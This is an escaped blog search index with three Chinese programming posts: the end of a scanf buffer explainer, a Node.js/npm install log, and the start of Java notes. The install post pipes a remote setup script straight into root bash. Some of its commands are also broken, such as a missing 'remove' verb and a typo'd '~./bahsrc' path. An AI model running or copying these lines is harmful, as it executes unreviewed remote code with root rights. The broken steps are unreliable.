\u0026#39;b\u0026#39; , \u0026#39;\\n\u0026#39; ]\u003c/code\u003e ,所以第二个\u003ccode\u003escanf\u003c/code\u003e函数不会再请求用户输入,而是直接去缓存区匹配,而这次匹配不成功,所以\u003ccode\u003e变量b\u003c/code\u003e的值没有被改变过。这段代码的输出为\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e输出:1\u003c/code\u003e\u003c/pre\u003e\u003cblockquote\u003e\u003cp\u003e使用占位符\u003ccode\u003e%d\u003c/code\u003e时情况不太一样\u003c/p\u003e\u003c/blockquote\u003e\u003cpre\u003e\u003ccode\u003escanf(\u0026#34;%d\u0026#34;);\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e我们在使用\u003ccode\u003e%d\u003c/code\u003e接受数字输入时,发现一种情况,即使直接输入回车,也不会匹配不成功,而是一直等待用户输入,直到输入含有\u003cstrong\u003e空格\u003c/strong\u003e、\u003cstrong\u003e回车\u003c/strong\u003e之外的字符传入。\u003c/p\u003e\u003cp\u003e为什么呢?考虑这种情况:\u003ccode\u003escanf(\u0026#34;%d%d\u0026#34;, \u0026amp;a, \u0026amp;b)\u003c/code\u003e,用户会在输入第二个数字前先打上空格或者回车,所以设计了这种情况。\u003c/p\u003e\u003cp\u003e就是说,C语言按\u003ccode\u003e%d\u003c/code\u003e接受输入时,会把匹配到数字之前匹配到的空格和回车看作分隔符拿出缓存区扔掉,不作匹配使用,继续请求用户输入。\u003c/p\u003e\u003cp\u003e再看刚才的代码,分析一下。如果输入\u003ccode\u003ea\u003c/code\u003e,此时字符 ‘a’ 被存入\u003ccode\u003e变量a\u003c/code\u003e,输入缓存区还剩下 \u003ccode\u003e[ \u0026#39;\\n\u0026#39; ]\u003c/code\u003e ,所以这种情况下,即使缓存区还有一个字符,可因为它是换行符,按\u003ccode\u003e%d\u003c/code\u003e输入时依旧会把它看作分隔符,此时还是会向用户请求输入。\u003c/p\u003e\u003chr/\u003e\u003ch2 id=\"格式化字符串的匹配机制–-gt-逐字符匹配\"\u003e\u003ca href=\"https://xeonds.github.io/2022/03/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E5%AF%B9C%E8%AF%AD%E8%A8%80scanf%E5%87%BD%E6%95%B0%E6%9C%BA%E5%88%B6%E7%9A%84%E6%B5%85%E6%8E%A2%E7%A9%B6/#%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E7%9A%84%E5%8C%B9%E9%85%8D%E6%9C%BA%E5%88%B6%E2%80%93-gt-%E9%80%90%E5%AD%97%E7%AC%A6%E5%8C%B9%E9%85%8D\" class=\"headerlink\" title=\"格式化字符串的匹配机制–\u0026gt; 逐字符匹配\"\u003e\u003c/a\u003e格式化字符串的匹配机制–\u0026gt; \u003cstrong\u003e逐字符匹配\u003c/strong\u003e\u003c/h2\u003e\u003chr/\u003e\u003cp\u003e如果我们想要以a-b的形式输入系数-指数以此存储一个多项式,a-b之间以英文逗号分隔,我们会怎么写呢?\u003c/p\u003e\u003cpre\u003e\u003ccode\u003eint c, e;do{ scanf(\u0026#34;%d-%d\u0026#34;, \u0026amp;c, \u0026amp;e); /* 省略存储过程 */} while (getchar()==\u0026#39;,\u0026#39;);\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e这么写非常好,但是如果用户没有按给定格式输入时,会发生什么错误我们得心里有数。\u003c/p\u003e\u003cp\u003e比如我输入是:\u003ccode\u003e3,4-3,5-,a-5\u003c/code\u003e ,发生了什么呢?\u003c/p\u003e\u003cp\u003e这时候C语言就会采取逐字符匹配的原则来工作。PS:每两次执行之间都会被\u003ccode\u003egetchar()\u003c/code\u003e函数从缓存区拿走一个 ‘,’ 。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e缓存区\u003c/th\u003e\u003cth align=\"center\"\u003e执行顺序\u003c/th\u003e\u003cth align=\"center\"\u003e匹配值\u003c/th\u003e\u003cth align=\"center\"\u003e退出原因\u003c/th\u003e\u003cth align=\"center\"\u003e执行操作\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e\u003ccode\u003e3,4-3,5-,a-5\\n\u003c/code\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e3\u003c/td\u003e\u003ctd align=\"center\"\u003e‘-‘ 与 ‘,’ 不匹配\u003c/td\u003e\u003ctd align=\"center\"\u003ec=3\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e\u003ccode\u003e4-3,5-,a-5\\n\u003c/code\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e2\u003c/td\u003e\u003ctd align=\"center\"\u003e4-3\u003c/td\u003e\u003ctd align=\"center\"\u003e格式化字符串匹配结束\u003c/td\u003e\u003ctd align=\"center\"\u003ec=4,e=3\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e\u003ccode\u003e5-,a-5\\n\u003c/code\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e3\u003c/td\u003e\u003ctd align=\"center\"\u003e5-\u003c/td\u003e\u003ctd align=\"center\"\u003e‘,’ 与\u003ccode\u003e%d\u003c/code\u003e不匹配\u003c/td\u003e\u003ctd align=\"center\"\u003ec=5\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e\u003ccode\u003ea-5\\n\u003c/code\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e4\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003ctd align=\"center\"\u003e‘a’ 与\u003ccode\u003e%d\u003c/code\u003e不匹配\u003c/td\u003e\u003ctd align=\"center\"\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e这么看来,即使没有完全匹配到规定的字符串,\u003ccode\u003esacnf\u003c/code\u003e函数也会将现有匹配到的先作使用,即使后面匹配失败,前面匹配成功的部分依然有效。\u003c/p\u003e\u003cp\u003e结合前面,我们还可以知道如果输入的是 \u003ccode\u003e3, 4- 3, 5-, a-5\u003c/code\u003e (中间多了空格),因为匹配 \u003ccode\u003e%d\u003c/code\u003e 时会忽略空格回车的机制,即使逗号后面加了空格,和原输入也还是等价的。这么做还是有一些小缺陷,因为输入时即使按照要求,也可能因为习惯,在逗号前加了空格,我们可以这么处理。\u003c/p\u003e\u003cpre\u003e\u003ccode\u003eint c, e;char m;do{ scanf(\u0026#34;%d-%d\u0026#34;, \u0026amp;c, \u0026amp;e); /* 省略存储过程 */ do{ m = getchar(); }while(m==\u0026#39; \u0026#39;);} while (m==\u0026#39;,\u0026#39;);\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e这样处理的代码,即使在分隔符前后都加上空格,我们也能确保它正确处理,代码变得友好了很多。至于其他情况嘛……有精力的话也可以再设计一下,我是不想设计了hhhh,毕竟已经满足以a-b的形式输入系数-指数,以英文逗号分隔的要求了~(不听话的用户活该得不到正确结果!hhhh开玩笑)\u003c/p\u003e\u003chr/\u003e\u003ch2 id=\"其他占位符\"\u003e\u003ca href=\"https://xeonds.github.io/2022/03/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E5%AF%B9C%E8%AF%AD%E8%A8%80scanf%E5%87%BD%E6%95%B0%E6%9C%BA%E5%88%B6%E7%9A%84%E6%B5%85%E6%8E%A2%E7%A9%B6/#%E5%85%B6%E4%BB%96%E5%8D%A0%E4%BD%8D%E7%AC%A6\" class=\"headerlink\" title=\"其他占位符\"\u003e\u003c/a\u003e其他占位符\u003c/h2\u003e\u003chr/\u003e\u003cp\u003e其他占位符也有类似的情况,在此不再赘述,想要研究的小伙伴可以自行研究一下!\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/03/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E5%AF%B9C%E8%AF%AD%E8%A8%80scanf%E5%87%BD%E6%95%B0%E6%9C%BA%E5%88%B6%E7%9A%84%E6%B5%85%E6%8E%A2%E7%A9%B6/"},{"title":"记一次npm和nodejs安装过程","time":"2022-03-26T12:05:42Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"背景\"\u003e\u003ca href=\"https://xeonds.github.io/2022/03/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/%E8%AE%B0%E4%B8%80%E6%AC%A1npm%E5%92%8Cnodejs%E5%AE%89%E8%A3%85%E8%BF%87%E7%A8%8B/#%E8%83%8C%E6%99%AF\" class=\"headerlink\" title=\"背景\"\u003e\u003c/a\u003e背景\u003c/h2\u003e\u003cp\u003e最近接触vue-cli,需要用到nodejs和npm。直接\u003ccode\u003eapt-get\u003c/code\u003e安装完成后发现版本过低,换源也不解决问题。最后必应解决了。\u003c/p\u003e\u003ch2 id=\"步骤\"\u003e\u003ca href=\"https://xeonds.github.io/2022/03/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/%E8%AE%B0%E4%B8%80%E6%AC%A1npm%E5%92%8Cnodejs%E5%AE%89%E8%A3%85%E8%BF%87%E7%A8%8B/#%E6%AD%A5%E9%AA%A4\" class=\"headerlink\" title=\"步骤\"\u003e\u003c/a\u003e步骤\u003c/h2\u003e\u003cp\u003e首先彻底卸载nodejs和npm:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo apt-get --purge npm\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo apt-get --purge nodejs\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo apt-get --purge nodejs-legacy\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后去NodeSource获取换源指令并安装nodejs和npm,如下:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# Using Ubuntu\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecurl -fsSL https://deb.nodesource.com/setup_14.x | sudo -E bash -\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo apt-get install -y nodejs\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# Using Debian, as root\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecurl -fsSL https://deb.nodesource.com/setup_14.x | bash -\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapt-get install -y nodejs\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e完成。\u003c/p\u003e\u003ch2 id=\"新的问题:npm-not-found\"\u003e\u003ca href=\"https://xeonds.github.io/2022/03/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/%E8%AE%B0%E4%B8%80%E6%AC%A1npm%E5%92%8Cnodejs%E5%AE%89%E8%A3%85%E8%BF%87%E7%A8%8B/#%E6%96%B0%E7%9A%84%E9%97%AE%E9%A2%98%EF%BC%9Anpm-not-found\" class=\"headerlink\" title=\"新的问题:npm not found\"\u003e\u003c/a\u003e新的问题:npm not found\u003c/h2\u003e\u003cp\u003e我安装完成后发现,npm指令执行报错:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e-bash: /usr/local/bin/npm: No such file or directory\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e经过排查,发现是符号链接异常导致:npm会安装在\u003ccode\u003e/usr/bin/\u003c/code\u003e下,而在\u003ccode\u003e/usr/local/bin/\u003c/code\u003e下会创建软链接指向前者。所以只需要删掉原来的链接再手动创建就可以啦:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e /usr/local/bin/\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esudo \u003cspan class=\"built_in\"\u003erm\u003c/span\u003e npm \u0026amp;\u0026amp; sudo \u003cspan class=\"built_in\"\u003eln\u003c/span\u003e -s /usr/bin/npm /usr/local/bin/npm\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这时候再输入\u003ccode\u003enpm -v\u003c/code\u003e,就可以看到npm正常运行了。\u003c/p\u003e\u003ch2 id=\"再安装\"\u003e\u003ca href=\"https://xeonds.github.io/2022/03/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/%E8%AE%B0%E4%B8%80%E6%AC%A1npm%E5%92%8Cnodejs%E5%AE%89%E8%A3%85%E8%BF%87%E7%A8%8B/#%E5%86%8D%E5%AE%89%E8%A3%85\" class=\"headerlink\" title=\"再安装\"\u003e\u003c/a\u003e再安装\u003c/h2\u003e\u003cp\u003e直接扔\u003ccode\u003e/usr/local\u003c/code\u003e底下然后把\u003ccode\u003ebin\u003c/code\u003e加到\u003ccode\u003e$PATH\u003c/code\u003e就行,省时省力。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ewget https://mirrors.ustc.edu.cn/node/latest-v20.x/node-v20.5.1-linux-x64.tar.gz \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026amp;\u0026amp; tar -zxvf node-v20.5.1-linux-x64.tar.gz \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026amp;\u0026amp; sudo \u003cspan class=\"built_in\"\u003emv\u003c/span\u003e node-v20.5.1-linux-x64 /usr/local/node \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#39;export PATH=$PATH:\u0026#34;/usr/local/node/bin\u0026#34;\u0026#39;\u003c/span\u003e \u0026gt;\u0026gt; ~./bahsrc \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003esource\u003c/span\u003e ~/.bashrc\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"换源\"\u003e\u003ca href=\"https://xeonds.github.io/2022/03/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/%E8%AE%B0%E4%B8%80%E6%AC%A1npm%E5%92%8Cnodejs%E5%AE%89%E8%A3%85%E8%BF%87%E7%A8%8B/#%E6%8D%A2%E6%BA%90\" class=\"headerlink\" title=\"换源\"\u003e\u003c/a\u003e换源\u003c/h2\u003e\u003cp\u003e一条指令就行,执行结果会在\u003ccode\u003e~/.npmrc\u003c/code\u003e里。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enpm config \u003cspan class=\"built_in\"\u003eset\u003c/span\u003e registry https://registry.npm.taobao.org\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e换了淘宝源。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/03/26/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/%E8%AE%B0%E4%B8%80%E6%AC%A1npm%E5%92%8Cnodejs%E5%AE%89%E8%A3%85%E8%BF%87%E7%A8%8B/"},{"title":"Java学习笔记:基础篇","time":"2022-01-11T10:34:40Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"序言\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E5%BA%8F%E8%A8%80\" class=\"headerlink\" title=\"序言\"\u003e\u003c/a\u003e序言\u003c/h1\u003e\u003cp\u003e说起来,自从学完了C语言,很久都没有成系统地学完一门编程语言了。\u003c/p\u003e\u003cp\u003ePython和PHP比较简单,基本都是边用边查学完的;Kotlin则是最近学Android开发顺便学的;C++倒是系统看过一遍书,不过最近基本没咋写过,忘的也差不多了;C#好久之前学的了,也就是写UWP的时候学了一点;JS?好像会,又好像不会(\u003c/p\u003e\u003cp\u003e快寒假了,也该摸点鱼了。梳理一下:Android学了大半,ML/DL没碰,Unity还在新建文件夹,算法就看了一点点。仔细想了想,还是先学点Java吧,一来下学期要学,二来和Android开发联系也紧密。最重要的是,这次得认真学学面向对象了。虽然在Python和PHP里都在用,但是终归还是系统学习一遍为上。\u003c/p\u003e\u003cp\u003e我用的是《Java核心技术》卷一/二。很多人在推荐,试读了一下,感觉不错,不像黑皮系列那么难读,废话也比较少。\u003c/p\u003e\u003ch1 id=\"Java简介\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#Java%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"Java简介\"\u003e\u003c/a\u003eJava简介\u003c/h1\u003e\u003cp\u003e官方白皮书给出了如下关键字:简单性(接近C++)、面向对象(支持多重继承)、分布式、健壮性(优秀的指针模型)、安全性(复杂的安全模型)、体系结构中立(Java虚拟机)、可移植性(众多平台独立的Java库)、\u003cstrong\u003e解释型\u003c/strong\u003e(轻量的编译过程)、高性能(即时编译器)、多线程、动态性。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e虽然关键字里有“解释型”,然而Java是真正的编译型语言。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e虽然说Java是纯粹的面向对象语言,不过它并没有做到完全的面向对象:int,double等基本数据类型仍然不是对象。不过同样基于JVM(Java虚拟机)的Kotlin做到了完全的面向对象。\u003c/p\u003e\u003ch1 id=\"Java环境配置\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#Java%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE\" class=\"headerlink\" title=\"Java环境配置\"\u003e\u003c/a\u003eJava环境配置\u003c/h1\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e在Windows下,访问\u003ca href=\"https://www.oracle.com/java/technologies/downloads/\"\u003eOracle官网\u003c/a\u003e,下载JDK(Java Development Kit)后安装,并将\u003ccode\u003ejdk/bin/\u003c/code\u003e目录加入环境变量(详情百度)即可。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eLinux使用相应的包管理器(apt,yum等)直接安装即可。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e安装完成后,可以安装库源文件:找到\u003ccode\u003ejdk/lib\u003c/code\u003e目录,将\u003ccode\u003esrc.zip\u003c/code\u003e解压到\u003ccode\u003ejdk/javasrc/\u003c/code\u003e目录下即可。同时也可下载官方文档,在官网上能找到。\u003c/p\u003e\u003ch1 id=\"JDK基本使用\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#JDK%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8\" class=\"headerlink\" title=\"JDK基本使用\"\u003e\u003c/a\u003eJDK基本使用\u003c/h1\u003e\u003cp\u003e打开记事本(或其他文本编辑器),写入以下内容:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eHello\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(String[] args)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eString\u003c/span\u003e \u003cspan class=\"variable\"\u003egreeting\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.println(greeting);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e i=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;i\u0026lt;greeting.length();i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.print(\u003cspan class=\"string\"\u003e\u0026#34;=\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e System.out.println();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e另存为\u003ccode\u003eHello.java\u003c/code\u003e并打开\u003ccode\u003ecmd\u003c/code\u003e并切换到当前目录。在\u003ccode\u003ecmd\u003c/code\u003e中输入以下内容以编译并运行:\u003c/p\u003e\u003cfigure class=\"highlight bat\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ejavac Hello.java\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ejava Hello\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这是我们的第一个程序。掌握基础操作后,你可以使用你喜欢的IDE进行开发。我偏向使用VSCode(理论上Android Studio应该也可以)。\u003c/p\u003e\u003ch1 id=\"Java基本内容\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#Java%E5%9F%BA%E6%9C%AC%E5%86%85%E5%AE%B9\" class=\"headerlink\" title=\"Java基本内容\"\u003e\u003c/a\u003eJava基本内容\u003c/h1\u003e\u003ch2 id=\"程序结构\"\u003e\u003ca 